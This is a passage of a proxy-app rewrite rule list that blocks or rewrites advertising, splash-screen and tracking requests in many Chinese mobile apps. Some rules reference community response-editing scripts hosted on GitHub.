https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/smzdm/smzdm_ads.js +^https?:\/\/user-api\.smzdm\.com\/vip\/creator_user_center url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/smzdm/smzdm_ads.js +^https?:\/\/user-api\.smzdm\.com\/vip$ url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/smzdm/Smzdm.js +# 感谢【怎么肥事】分享 +^https?:\/\/app-api\.smzdm\.com\/util\/loading url script-response-body https://raw.githubusercontent.com/ZenmoFeiShi/Qx/main/Smzdm.js +^https?:\/\/app-api\.smzdm\.com\/util\/update url script-response-body https://raw.githubusercontent.com/ZenmoFeiShi/Qx/main/Smzdm.js +^https?:\/\/user-api\.smzdm\.com\/vip\/bottom_card_list url script-response-body https://raw.githubusercontent.com/ZenmoFeiShi/Qx/main/Smzdm.js +^https?:\/\/haojia-api\.smzdm\.com\/home\/list url script-response-body https://raw.githubusercontent.com/ZenmoFeiShi/Qx/main/Smzdm.js +^https?:\/\/homepage-api\.smzdm\.com\/v3\/home url script-response-body https://raw.githubusercontent.com/ZenmoFeiShi/Qx/main/Smzdm.js +^https?:\/\/article-api\.smzdm\.com\/publish\/get_bubble url script-response-body https://raw.githubusercontent.com/ZenmoFeiShi/Qx/main/Smzdm.js +^https?:\/\/qianbao\.smzdm\.com\/v\d\/app\/home url script-response-body https://raw.githubusercontent.com/ZenmoFeiShi/Qx/main/Smzdm.js + +# > 神马 +# hostname = editor.sm.cn +^https?:\/\/editor\.sm\.cn\/launch_picture url reject + +# > 顺丰快递 +# hostname = ccsp-egmas.sf-express.com, ucmp.sf-express.com +# APP净化 感谢【怎么肥事】分享 +^https?:\/\/ucmp\.sf-express\.com\/proxy\/esgcempcore\/memberGoods\/pointMallService\/goodsList url reject-dict +^https?:\/\/ccsp-egmas\.sf-express\.com\/cx-app-video\/video\/app\/video\/labelClusterList url reject-dict +^https?:\/\/ccsp-egmas\.sf-express\.com\/cx-app-base\/base\/app\/ad\/queryInfoFlow url reject-dict +^https?:\/\/ccsp-egmas\.sf-express\.com\/cx-app-base\/base\/app\/bms\/queryRecommend url reject-dict + +# > 顺丰快递小程序 +# hostname = mcs-mimp-web.sf-express.com, ucmp.sf-express.com +^https?:\/\/mcs-mimp-web\.sf-express\.com\/mcs-mimp\/integralPlanet\/getCxAdvertiseList url reject-dict +^https?:\/\/ucmp-static\.sf-express\.com\/proxy\/wxbase\/wxTicket\/wxLiveStreamInfo\?pageNo url reject-dict +^https?:\/\/ucmp\.sf-express\.com\/proxy\/esgcempcore\/memberGoods\/pointMallService\/goodsList url reject-dict +^https?:\/\/ucmp\.sf-express\.com\/proxy\/operation-platform\/info-flow-adver\/query url reject-dict +^https?:\/\/ucmp\.sf-express\.com\/proxy\/esgcempcore\/memberManage\/memberEquity\/queryRecommendEquity url reject-dict +^https?:\/\/ucmp\.sf-express\.com\/proxy\/esgcempcore\/memberActLengthy\/fullGiveActivityService\/fullGiveInfo url reject-dict + +# > 顺丰优选 +# hostname = mapi.sfbest.com +^https?:\/\/mapi\.sfbest\.com\/brokerservice-server\/cms\/getPositionById.* url reject + +# > 少数派 +# hostname = ios.sspai.com +https://ios.sspai.com/api/v3/recommend/page/get\?ad.*ios_home_modal url reject + +# > 书旗小说 +# hostname = ut2.shuqistat.com, dsp.toutiao.com, sf3-be-pack.pglstatp-toutiao.com, api-access.pangolin-sdk-toutiao.com, sq.sljkj.com, ocean.shuqireader.com, img-tailor.11222.cn, message.shuqireader.com, feedback.uc.cn, *.shuqireader.com, 101.91.69.26 +^https?:\/\/ut2\.shuqistat\.com\/.+\.gif url reject +^https?:\/\/dsp\.toutiao\.com\/api\/xunfei\/ads\/ url reject +^https?:\/\/sf3-be-pack\.pglstatp-toutiao\.com\/img\/ad\.union\.api url reject +^https?:\/\/api-access\.pangolin-sdk-toutiao\.com\/api\/ad\/.+ url reject +^https?:\/\/sq\.sljkj\.com\/api\/sdk\/ads2 url reject +^https?:\/\/ocean\.shuqireader\.com\/api\/ad\/adserver\/.+ url reject +^https?:\/\/ocean\.shuqireader\.com\/api\/route\/iosReadPage\/ad.+ url reject +^https?:\/\/.+\.pglstatp-toutiao\.com url reject +^https?:\/\/img-tailor\.11222\.cn\/pm\/app\/.+\.gif url reject +^https?:\/\/img-tailor\.11222\.cn\/cms\/upload\/img\/.+ url reject +^https?:\/\/message\.shuqireader\.com\/message\/.+ url reject +^https?:\/\/101\.91\.69\.26:8080\/.+ url reject +^https?:\/\/feedback\.uc\.cn\/feedback\/api\/get_unread_status url reject +^https?:\/\/.+\.shuqireader\.com\/sapi\/.+ url reject + +# > 神舟汽车 +# hostname = img01.10101111cdn.com +^https?:\/\/img01\.10101111cdn\.com\/adpos\/share\/ url reject-img + +# > 上汽大众 +# hostname = api.mos.csvw.com +# 已无法MITM +#^https?:\/\/api\.mos\.csvw\.com\/mos\/operation\/home\/api\/v\d\/app\/brand\/queryDataForOperation url reject-200 + +# > 首汽约车 +# hostname = gw-passenger.01zhuanche.com, img.yun.01zhuanche +^https?:\/\/gw-passenger\.01zhuanche\.com\/gw-passenger\/car-rest\/webservice\/passenger\/recommendADs url reject-200 +^https?:\/\/gw-passenger\.01zhuanche\.com\/gw-passenger\/zhuanche-passenger-token\/leachtoken\/webservice\/homepage\/queryADs url reject +^https?:\/\/gw-passenger\.01zhuanche\.com\/gw-passenger\/zhuanche-passengerController\/notk\/passenger\/recommendADs url reject +^https?:\/\/img\.yun\.01zhuanche\.com\/statics\/app\/advertisement\/.+?-750-1334 url reject-img + +# > 首旅如家 +# hostname = app.homeinns.com +^https?:\/\/app\.homeinns\.com\/api\/landing url reject + +# > 三联中读 +# hostname = apis.lifeweek.com.cn +https://apis.lifeweek.com.cn/api/baseConfig/getIosNewConfig url reject + +# > 识货 +# hostname = sh-gateway.shihuo.cn, static.shihuocdn.cn +# 开屏广告 +^https?:\/\/sh-gateway\.shihuo\.cn\/v\d\/services\/sh-adapi\/home\/(screen|ad) url reject +^https?:\/\/static\.shihuocdn\.cn\/admin\/imgs/202[0-9]{5}\/[a-z0-9]{32}_513x777\.png url reject-200 +^https?:\/\/static\.shihuocdn\.cn\/admin\/imgs/202[0-9]{5}\/[a-z0-9]{32}_750x1624\.png url reject-200 + +# > 闪现一下 +# hostname = api.gameplus.qq.com +^https?:\/\/api\.gameplus\.qq\.com\/community\.OnloadSrv\/GetPreloadScreenInfo url reject-200 + +# > 闪动校园 +# hostname = api.huachenjie.com, open.e.kuaishou.cn, ad.shunchangzhixing.com, zlsdk.1rtb.net +# 感谢【𝔐𝔞𝔨𝔞𝔟𝔞 𝔨𝔞】分享 +# 去除ai视频 +^https:\/\/api\.huachenjie\.com\/run-front\/ai\/getAICategory url reject-dict +# 去除顶部横幅 +^https:\/\/api\.huachenjie\.com\/run-front\/home\/sports\/getPopup url reject-dict +# 去除首页广告 +^https:\/\/api\.huachenjie\.com\/run-front\/ad url reject-dict +# 去除“我”页面下方福袋 +^http:\/\/ad\.shunchangzhixing\.com\/getAd url reject-dict +# 去除开屏广告 +^https:\/\/open\.e\.kuaishou\.cn\/rest\/e\/v3\/open url reject-dict +^https:\/\/zlsdk\.1rtb\.net\/sdk\/req_ad\?sdk_version=\d+\.\d+\.\d+\.\d+&device_os=iOS&accept_ad_type=\d+&app_id=\d+&pid=\d+&sdk_version_code=\d+ url reject-dict + +# > 山姆会员商店 +# hostname = api-sams.walmartmobile.cn +^https?:\/\/api-sams\.walmartmobile\.cn\/api\/v\d\/sams\/sams-user\/(window\/getGoUpPlus|screen_promotion\/get) url reject +^https?:\/\/api-sams\.walmartmobile\.cn\/api\/v\d\/sams\/channel\/portal\/AdgroupData url reject-dict +^https?:\/\/api-sams\.walmartmobile\.cn\/api\/v\d\/sams\/configuration\/personCenterEntrance\/query url reject-dict +^https?:\/\/api-sams\.walmartmobile\.cn\/api\/v\d\/sams\/trade\/order\/getOftenBuyGoods url reject-dict +^https?:\/\/api-sams\.walmartmobile\.cn\/api\/v\d\/sams\/goods-portal\/spu\/searchRecommendPool url reject-dict +^https?:\/\/api-sams\.walmartmobile\.cn\/api\/v\d\/sams\/configuration\/appVersionUpdate\/getAppVersionUpdateInfo url reject-dict +# 屏蔽更新 +^https?:\/\/api-sams\.walmartmobile\.cn\/api\/v1\/sams\/configuration\/portal\/beUpdate url reject-dict + +# > 收钱吧 - 买单小程序 +# hostname = api.pinduoduo.com +^https?:\/\/api\.pinduoduo\.com\/api\/ktt_gateway\/activity\/feeds\/personal_home_page\/ url reject + +# > 省省回头车 +# hostname = www.ymm56.com +# 开屏广告 需要清理缓存 +^https:\/\/www\.ymm56\.com\/short-distance-match-app\/openAppAd url reject-dict + + + + +# >>>>>>>>>>>>>>> ✅ T ✅ <<<<<<<<<<<<<< +# Talkatone +# hostname = alt-r.my.com, imgx.jampp.com +^https?:\/\/alt-r\.my\.com\/mobile url reject-dict +^https?:\/\/imgx\.jampp\.com\/imgsrv\/tn url reject-img + +# > TestFlight +# hostname = testflight.apple.com +# TestFlight 国区下载修正 +^https:\/\/testflight\.apple\.com\/v2\/accounts\/.*\/apps\/\d*\/builds\/\d*\/install$ url request-body "storefrontId"\x20:\x20.*, request-body "storefrontId":"143441-19,29", +# TF账户管理 App更新时提示"APP不可用"问题,解决部分TF兑换错了区域的问题,例如Loon兑换到了国区 +# ^https?:\/\/testflight\.apple\.com\/v\d\/(app|account|invite)s\/ url script-analyze-echo-response https://raw.githubusercontent.com/NobyDa/Script/master/TestFlight/TestFlightAccount.js + +# > TT语音 +# hostname = ga-album-cdnqn.52tt.com +# 开屏广告 个别图片误杀 如开启可自行添加主机名 +^https?:\/\/ga-album-cdnqn\.52tt\.com\/prod-yunying\/.+.jpg url reject-dict + +# > TapTap +# hostname = api.taptapdada.com +# 开屏广告 感谢【TEXAS】分享 +^https?:\/\/api\.taptapdada\.com\/startup-logo\/v\d\/combo\? url reject-dict + +# > TubeMax +# hostname = *.i18n-pglstatp.com +# 感谢【可莉】分享 +^https?:\/\/.*\.i18n-pglstatp\.com\/obj\/ad-pattern-sg url reject + +# > top-widget +# hostname = top-widgets-api.xiaozujian.com +^https?:\/\/top-widgets-api\.xiaozujian\.com\/api\/ad\/config url reject + +# > 台铃智能 +# hostname = www.tailgdd.com +# 开屏广告 +^https://www\.tailgdd\.com/v8/smart/app/config/get$ url response-body "data":\{.+\} response-body "data":{} + +# > 天府市民云 +# hostname = tfsmy.chengdu.gov.cn, tft-app.cdtft.cn +# 注意:生活圈,社区打不开 需要的自己添加主机名 +^https?:\/\/tfsmy\.chengdu\.gov\.cn\/api\/v5\/core\/version url reject-200 +^https?:\/\/tft-app\.cdtft\.cn\/gateway-customer\/tftapp\/tft-ams\/api\/appAd url response-body officialAdvertResultVo response-body random-response + +# > 天府手机银行 +# hostname = cgbank.oss-cn-shenzhen.aliyuncs.com +^https?:\/\/cgbank\.oss-cn-shenzhen\.aliyuncs\.com\/visual\/advertisingImg\/.+.jpg url reject-200 + +# > 天府银行小程序 +# hostname = chl.tf.cn, wechat.tf.cn +# 缴费弹窗广告 +^https?:\/\/chl\.tf\.cn\/channelmg\/sys\/socso\/order\/queryOrderInfo url response-body "imgUrl" response-body "imgUrl0" +^https?:\/\/chl\.tf\.cn\/channelmg\/sys\/socso\/socsonew\/queryIsRealNameAdertInfo url reject-dict +# 首页弹窗广告 +^https?:\/\/wechat\.tf\.cn\/mini-financial\/model\/queryPopup url reject-dict + +# > 天府通 +# hostname = ams-cdn.cdtft.cn +# 需卸载重装,因为设置里没有清楚缓存,推荐搭配旧版5.2.0使用 感谢【Leo】分享 +^https?:\/\/ams-cdn\.cdtft\.cn\/prod\/tft-ams\/ url reject-dict + +# > 天山云TV +# hostname = www.tsytv.com.cn +^https?:\/\/www\.tsytv\.com\.cn\/api\/app\/ios\/ads url reject-img + +# > 天天基金 +# hostname = j5.dfcfw.com, appactive.1234567.com.cn +^https?:\/\/j5\.dfcfw\.com\/WG\/conf\/202[0-9]{5}/.*.(jpg|png) url reject-200 +^https?:\/\/j5\.dfcfw\.com\/WG\/appconf\/202[0-9]{5}/.*.(jpg|png) url reject-200 +^https?:\/\/appactive\.1234567\.com\.cn\/AppoperationApi\/OperationService\/GetAppStartImg url reject + +# > 天星金融 +# hostname = t1.market.xiaomi.com +^https?:\/\/t1\.market\.xiaomi\.com\/thumbnail\/webp\/w1170q100\/ url reject + +# > 天猫精灵 +# hostname = ossgw.alicdn.com, zconfig.alibabausercontent.com +^https?:\/\/ossgw.alicdn.com\/creatives-assets\/image\/ url reject-200 +^https?:\/\/zconfig\.alibabausercontent\.com\/zconfig url reject + +# > 天猫养车 +# hostname = api.ncarzone.com +# 中间横幅广告 +^https?:\/\/api\.ncarzone\.com\/superapi\/canary\/appHomeFacade\/getNewUserPlateActivity url reject-200 +^https?:\/\/api\.ncarzone\.com\/superapi\/canary\/bannerFacade\/app\/list url reject-200 +# 右下角悬浮广告 +^https?:\/\/api\.ncarzone\.com\/superapi\/canary\/popupDialogFacade\/popupDialogList url reject-200 + +# > 天翼云盘 +# hostname = api.cloud.189.cn +# 感谢【All in 梭哈】分享 +^https?:\/\/api\.cloud\.189\.cn\/guns\/(img\/recommendedPosition|getOpenscreenBanners) url reject-dict + +# > 同花顺 +# hostname = adm.10jqka.com.cn, iphone.ac.qq.com, stat.10jqka.com.cn +^https?:\/\/adm\.10jqka\.com\.cn\/interface\/ad\/recommend url reject-200 +^https?:\/\/iphone\.ac\.qq\.com\/.*\/Support\/(getSystemConf|bootScreen) url reject +# 同花顺至尊版 感谢【梭哈 All in】分享 +^https?:\/\/stat\.10jqka\.com\.cn\/q\?ld=mobile&id=ad url reject-dict + +# > 同程旅行 +# hostname = *.ly.com, *.17usoft.com, *.17u.cn, mobilehotelapi.elong.com, quic-tcmapi.elong.com +# 开屏广告 +^https?:\/\/wx\.17u\.cn\/xcxhomeapi\/((aggregator\/index)|(home\/(screen|banner|converge)))$ url reject +^https?:\/\/wx\.17u\.cn\/crapi\/query\/getAdImgUrlByCode url reject-dict +^https:\/\/tcmobileapi\.17usoft\.com\/appindexnew\/index\/openscreen url reject-dict +^https:\/\/tcmobileapi\.17usoft\.com\/appindexnew\/index\/getindexlayoutcelllist url reject-dict +^https:\/\/tcmobileapi\.17usoft\.com\/appindexnew\/index\/gethotrecommend url reject-dict +# 景点界面轮播图和右下角悬浮窗 +^https:\/\/mobileapi\.ly\.com\/wlfrontend\/app\/scenicMain url reject-dict +# 租车界面 广告 +^https:\/\/wx\.17u\.cn\/crapi\/query\/ad url reject-dict +# 酒店界面广告 +^https:\/\/mobilehotelapi\.elong\.com\/appHotel\/adx\/advert\/getAdvert url reject-dict + +# > 淘票票 +# hostname = acs.m.taobao.com +# 开屏广告 +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.film\.mtopadvertiseapi\.(queryadvertise|queryloadingbanner)\/ url reject + +# > 淘淘阅读 +# hostname = bid.adview.cn +# 感谢【Baby】分享 +^https?:\/\/bid\.adview\.cn\/agent\/getAd url reject + +# > 途牛 +# hostname = m.tuniu.com +^https?:\/\/m\.tuniu\.com\/api\/operation\/splash\/ url reject-200 + +# > 途虎养车小程序 +# hostname = mkt-gateway.tuhu.cn +# 首页悬浮窗广告 +^https?:\/\/mkt-gateway\.tuhu\.cn\/mkt-scene-marketing-service\/api\/scene\/queryScheme url reject-dict + +# > 途家民宿 +# hostname = client.tujia.com +# 需要卸载重装 +^https?:\/\/client\.tujia\.com\/bnbapp-node url reject-dict +^https?:\/\/client\.tujia\.com\/bnbapp-node\/app\/portal\/getportalconfig\/bnb\/v2 url response-body "banners":\[.+\], response-body "banners":[], +^https?:\/\/client\.tujia\.com\/bnbapp-node\/app\/(promotion\/popup\/getpopupups\/bnb|portal\/getStartPictureAdvertising) url reject + +# > 太平洋电脑 +# hostname = mrobot.pconline.com.cn, mrobot.pcauto.com.cn, agent-count.pconline.com.cn +^https?:\/\/mrobot\.pconline\.com\.cn\/s\/onlineinfo\/ad\/ url reject-200 +^https?:\/\/agent-count\.pconline\.com\.cn\/counter\/adAnalyse\/ url reject +^https?:\/\/mrobot\.(pcauto|pconline)\.com\.cn\/v\d\/ad\dp url reject +^https?:\/\/mrobot\.pcauto\.com\.cn\/xsp\/s\/auto\/info\/(ad|preload) url reject + +# > 太平洋知科技 +# hostname = mrobot.pconline.com.cn +^https?:\/\/mrobot\.pconline\.com\.cn\/s-900\/onlineinfo\/cms\/launch url reject-200 + +# > 天气通 分流即可 + +# > 淘宝 +# hostname = acs.m.taobao.com, guide-acs.m.taobao.com, poplayer.template.alibaba.com +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.alibaba\.advertisementservice\.getadv url reject-dict +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.alimama\.etao\.config\.query\/.+?etao_advertise url reject-dict +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.alimusic\.common\.mobileservice\.startinit url reject-dict +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.etao\.noah\.query\/.+tao_splash url reject-dict +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.film\.mtopadvertiseapi\.queryadvertise url reject-dict +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.o2o\.ad\.gateway\.get url reject-dict +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.taobao\.idle\.home\.welcome url reject-dict +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.trip\.activity\.querytmsresources url reject-dict +^https?:\/\/guide-acs\.m\.taobao\.com\/gw\/mtop\.taobao\.(volvo\.secondfloor\.getconfig|wireless\.home\.newface\.awesome\.get) url reject-dict +^https?:\/\/guide-acs\.m\.taobao\.com\/gw\/mtop\.taobao\.(cloudvideo\.video\.query|wireless\.home\.splash\.awesome\.get) url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/myBlockAds.js +^https?:\/\/poplayer\.template\.alibaba\.com\/\w+\.json url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/myBlockAds.js + +# > 腾讯视频 +# hostname = vv.video.qq.com +# ^https?:\/\/[\d\.:]*\/?(defaultts\.tc|vmind\.qqvideo\.tc|finderpdd\.video)\.qq\.com\/\w+ url reject +# ^https?:\/\/apd-vlive\.apdcdn\.tc\.qq\.com\/vmind\.qqvideo\.tc\.qq\.com\/\w+ url reject +# ^https?:\/\/apd-\w+\.v\.smtcdns\.com\/(defaultts|omts|vmind\.qqvideo)\.tc\.qq\.com\/\w+ url reject +# ^https?:\/\/vv\.video\.qq\.com\/(diff|get)vmind url reject-dict +# ^https?:\/\/vv\.video\.qq\.com\/getvinfo url request-body &sppreviewtype=\d(.*)&spsrt=\d request-body &sppreviewtype=0$1&spsrt=0 + +# > 腾讯乘车码微信小程序 +# hostname = ccmsupport-sz.tenpay.com +# 感谢【jinlvei】分享 +^https?:\/\/ccmsupport-sz\.tenpay\.com\/cgi-bin\/common\/ccm_page_element.cgi url reject + +# > 腾讯游戏社区 +# hostname = static.gameplus.qq.com +# > d{10} 10位纯数字-\d{4}4位纯数字 $ 结尾符号 :只拦截10位纯数字-4位纯数字结尾的短连接,后面带尾巴的长连接不拦截。 +# > 如果想拦截1234567890-1234?wx类的长连接就加长规则,不加结尾符,只要前面的匹配了都会拦截。 +^https?:\/\/static\.gameplus\.qq\.com\/img\/\d{10}-\d{4}$ url reject + +# > 腾讯游戏 +# hostname = qt.qq.com +^https?:\/\/qt\.qq\.com\/lua\/mengyou\/get_splash_screen_info url reject + +# > 腾讯手机管家 +# hostname = otheve.beacon.qq.com +^https?://otheve.beacon.qq.com\/analytics\/upload\?sid=.* url reject + +# > 腾讯地图 +# hostname = 4gimg.map.qq.com +^https?:\/\/4gimg\.map\.qq\.com\/mwaSplash\/ url reject-200 + +# > 腾讯新闻 +# hostname = r.inews.qq.com, news.ssp.qq.com +#^https?:\/\/r\.inews\.qq\.com\/getSplash\?apptype=ios&startarticleid=&__qnr= url reject-img +^https?:\/\/r\.inews\.qq\.com\/(adsBlacklist|getFullScreenPic|getQQNewsRemoteConfig) url reject +^https?:\/\/r\.inews\.qq\.com\/(getBannerAds|getNewsRemoteConfig|getSplash|searchHotCatList|upLoadLoc) url reject +^https?:\/\/(news\.ssp\.qq\.com\/app|r\.inews\.qq\.com\/(get(QQNewsUnreadList|TagFeedList)|gw\/page\/event_detail|news_feed\/hot_module_list)) url script-response-body https://raw.githubusercontent.com/app2smile/rules/master/js/qq-news.js + +# > 腾讯体育 +# hostname = news.ssp.qq.com, sports3.gtimg.com +^https?:\/\/news\.ssp\.qq\.com\/app url reject +^https?:\/\/sports3\.gtimg\.com\/community\/20cf93884470434eaf38b2e77ab7796a\.png url reject + +# > 腾讯广告 +# hostname = btrace.qq.com, api2.helper.qq.com, *.beacon.qq.com, mi.gdt.qq.com, lives.l.qq.com, imgcache.qq.com, mtteve.beacon.qq.com, vv.video.qq.com, qt.qq.com, 3gimg.qq.com, y.gtimg.cn, splashqqlive.gtimg.com, qzonestyle.gtimg.cn, discuz.gtimg.cn, bla.gtimg.com, mmgr.gtimg.com, bk.bingo.qq.com +^https?:\/\/btrace\.qq\.com url reject-200 +^https?:\/\/api2\.helper\.qq\.com\/game\/buttons url reject-img +^https?:\/\/\w+\.beacon\.qq\.com url reject +^https?:\/\/mi\.gdt\.qq\.com\/gdt_mview\.fcg url reject +^https?:\/\/lives\.l\.qq\.com\/livemsg\?sdtfrom= url reject-img +^https?:\/\/imgcache\.qq\.com\/qqlive\/ url reject-img +^https?:\/\/mtteve\.beacon\.qq\.com\/analytics url reject-img +^https?:\/\/vv\.video\.qq\.com\/getvmind\? url reject-200 +^https?:\/\/qt\.qq\.com\/lua\/mengyou\/get_splash_screen_info url reject-200 +^https?:\/\/3gimg\.qq\.com\/tencentMapTouch\/app\/activity\/ url reject-200 +^https?:\/\/3gimg\.qq\.com\/tencentMapTouch\/splash\/ url reject-200 +^https?:\/\/y\.gtimg\.cn\/music\/.*?_Ad/\d+\.png url reject-img +^https?:\/\/splashqqlive\.gtimg\.com\/website\/\d{6} url reject-img +^https?:\/\/qzonestyle\.gtimg\.cn\/qzone\/biz\/gdt\/mob\/sdk\/ios\/v2\/ url reject-img +^https?:\/\/discuz\.gtimg\.cn\/cloud\/scripts\/discuz_tips\.js url reject-img +^https?:\/\/bla\.gtimg\.com\/qqlive\/\d{6}.+?\.png url reject-img +^https?:\/\/mmgr\.gtimg\.com\/gjsmall\/qiantu\/upload\/ url reject-img +^https?:\/\/mmgr\.gtimg\.com\/gjsmall\/qqpim\/public\/ios\/splash\/.+?\/\d{4}_\d{4} url reject-img +^https?://bk\.bingo\.qq\.com/bk/crx/data/videoAd.*$ url reject-dict + +# > 推栏 +# hostname = m.pvp.xoyo.com +# 去开屏广告 需要重装 +^https?:\/\/m\.pvp\.xoyo\.com\/conf\/server-mapping url reject-dict + + + +# >>>>>>>>>>>>>>> ✅ U ✅ <<<<<<<<<<<<<< +# > U净 +# hostname = api-marketing.zhinengxiyifang.cn, adsoss.zhinengxiyifang.cn, ads.zhinengxiyifang.cn +^https?:\/\/api-marketing\.zhinengxiyifang\.cn\/api\/v2\/cloudcode\/wechat\/bid url reject +^https?:\/\/adsoss\.zhinengxiyifang\.cn\/ads url reject +^https?:\/\/ads\.zhinengxiyifang\.cn\/api\/v1\.1\/ads\/* url reject-200 + +# > udn news +# hostname = pubads.g.doubleclick.net, pagead2.googleadservices.com +^https?://pubads.g.doubleclick.net/gampad/ads url reject +^https?://pagead2.googleadservices.com/pagead/adview url reject + + + +# >>>>>>>>>>>>>>> ✅ V ✅ <<<<<<<<<<<<<< +# > vgTime +# hostname = app02.vgtime.com +# App去开屏广告(需全新应用). 若要去新闻列表广告需要搭配广告联盟模块 +^https?:\/\/app02\.vgtime\.com:8080\/vgtime-app\/api\/v2\/init\/ad\.json url script-response-body https://raw.githubusercontent.com/app2smile/rules/master/js/vgtime.js + +# > Vista看天下 +# hostname = open3.vistastory.com +^https?:\/\/open3\.vistastory\.com\/v\d\/api\/inde/loading_ad url reject-200 + + + + +# >>>>>>>>>>>>>>> ✅ W ✅ <<<<<<<<<<<<<< +# > Weico(微博客户端) +# hostname = overseas.weico.cc +^https?:\/\/overseas\.weico\.cc\/portal\.php\?a=get_coopen_ads url reject-200 + +# > WPS +# hostname = ios.wps.cn, mobile-pic.cache.iciba.com +^https?:\/\/ios\.wps\.cn\/ad-statistics-service url reject +^https?:\/\/mobile-pic\.cache\.iciba\.com\/feeds_ad\/ url reject-200 + +# > WIFI万能钥匙 +# hostname = cds.wifi188.com +# 首页弹窗广告 +^https?:\/\/cds\.wifi188\.com\/feeds\.sec url reject-dict + +# > 完美世界电竞 +# hostname = api.wmpvp.com +# 开屏广告 +^https?:\/\/api\.wmpvp\.com\/api\/v\d\/config\/promote url reject + +# > 万词王 +# hostname = wanciwangdata.oss-cn-beijing.aliyuncs.com, recite.perfectlingo.com +# 感谢【sliverkiss】分享 +# 移除开屏 +^https?:\/\/wanciwangdata\.oss-cn-beijing\.aliyuncs\.com\/startup\/resource\/content.+ url reject +# 移除banner广告 +^https?:\/\/recite\.perfectlingo\.com\/api\/recite\/app-act\/act-list.+ url reject-dict +# 移除底部广告 +^https?:\/\/recite\.perfectlingo\.com\/api\/recite\/content-recommend\/v\d\/get-by-uid.+ url reject-dict +# 移除悬浮广告 +^https?:\/\/recite\.perfectlingo\.com\/api\/recite\/floating-window\/v\d\/get-show.+ url reject-dict + +# > 万达电影 +# hostname = misc-api-prd-mx.wandafilm.com +# APP开屏广告 +^https?:\/\/misc-api-prd-mx\.wandafilm\.com\/commend\/common_banner_batch\.api url jsonjq-response-body '.data.objects["OpenAPP-&-FlashAD"] = [] | .data.objects["InTheaters-&-BoxAD"] = []' +# 小程序弹窗广告 +^https?:\/\/misc-api-prd-mx\.wandafilm\.com\/commend\/common_banner_batch\.api\?bannerInfos=%5B%7B%22cinemaI url response-body "WX_index_mp-&-boxAD" response-body "WX_index_mp-&-boxAD0" + +# > 微信 +# hostname = mp.weixin.qq.com, weixin110.qq.com, security.wechat.com +# 公众号文章下方广告 +^https?:\/\/mp\.weixin\.qq\.com\/mp\/getappmsgad url response-body advertisement response-body fmz200 +# 微信跳过中间界面,支付宝链接、被封禁链接进行通知弹窗跳转,在微信中用快照显示被封禁的链接(可选),在微信中进行强制重定向(可选),群聊 / 扫码均可使用,可选项可在脚本 2、3 行更改,也可在 BoxJs 中更改。 +^https\:\/\/(weixin110\.qq|security.wechat)\.com\/cgi-bin\/mmspamsupport-bin\/newredirectconfirmcgi\? url script-response-body https://raw.githubusercontent.com/zZPiglet/Task/master/asset/UnblockURLinWeChat.js +# 微信公众号去除商品推广 +^https?:\/\/mp\.weixin\.qq\.com\/mp\/cps_product_info\?action url reject-dict + +# > 网易新闻 +# hostname = c.m.163.com +^https?:\/\/c\.m\.163\.com\/nc\/gl\/ url reject-200 + +# > 网易有钱 +# hostname = client.mail.163.com +^https?:\/\/client\.mail\.163\.com\/apptrack\/confinfo\/searchMultiAds url reject-200 + +# > 网易严选 +# hostname = support.you.163.com, m.you.163.com, yanxuan.nosdn.127.net +^https?:\/\/support\.you\.163\.com\/xhr\/boot\/getBootMedia\.json url reject-200 +https://support.you.163.com/appversync/check.do url reject +^https?:\/\/m\.you\.163\.com\/activity\/popWindow url reject +^https?:\/\/yanxuan\.nosdn\.127\.net\/.*\.mp4 url reject + +# > 网易蜗牛读书 +# hostname = easyreadfs.nosdn.127.net, p.du.163.com +^https?:\/\/easyreadfs\.nosdn\.127\.net\/ad-material\/ url reject-200 +^https?:\/\/p\.du\.163\.com\/ad\/ url reject-200 + +# > 网易考拉 +# hostname = kaola-haitao.oss.kaolacdn.com, sp.kaola.com, gw.kaola.com +^https?:\/\/kaola-haitao\.oss\.kaolacdn.com\/.+?_\d{3,4}_\d{4}\.jpg\?x-oss-process=image\/resize,m_mfit,w_\d{3,4},h_\d{4}\/format,webp\/quality,Q_85 url reject-200 +^https?:\/\/sp\.kaola\.com\/api\/openad url reject-200 +^https?:\/\/gw\.kaola\.com\/gw\/dgmobile\/newOpenAd url reject + +# > 网易云音乐 +# hostname = interface.music.163.com, interface?.music.163.com, ipv4.music.163.com +https?:\/\/(ipv4|interface\d?)\.music\.163.com\/e?api\/ad url reject-dict +https?:\/\/interface\d?\.music\.163\.com\/w?e?api\/(side-bar\/mini-program\/music-service\/account|delivery\/(batch-deliver|deliver)|moment\/tab\/info\/get|yunbei\/account\/entrance\/get) url reject-dict +https?:\/\/interface\d?\.music\.163\.com\/eapi\/(resource\/comments?\/musiciansaid|community\/friends\/fans-group\/artist\/group\/get|user\/sub\/artist|music\/songshare\/text\/recommend\/get|mine\/applet\/redpoint|resniche\/position\/play\/new\/get) url reject-dict +https?:\/\/interface\d?\.music\.163.com\/w?e?api\/(search\/(chart|default|rcmd\/keyword|specialkeyword)|resource-exposure\/|activity\/bonus\/playpage\/time\/query) url reject-dict +https?:\/\/interface\d?\.music\.163.com\/eapi\/(mlivestream\/entrance\/playpage|link\/(position\/show\/strategy|scene\/show)|ios\/version|v\d\/content\/exposure\/comment\/banner) url reject-dict +https?:\/\/(ipv4|interface\d?)\.music\.163\.com\/e?api\/(batch|v\d\/resource\/comment\/floor\/get) url script-response-body https://raw.githubusercontent.com/Keywos/rule/main/script/wy/js/wyres.js +https?:\/\/(ipv4|interface\d?)\.music\.163\.com\/e?api\/link\/home\/framework\/tab url script-response-body https://raw.githubusercontent.com/Keywos/rule/main/script/wy/js/wyres.js 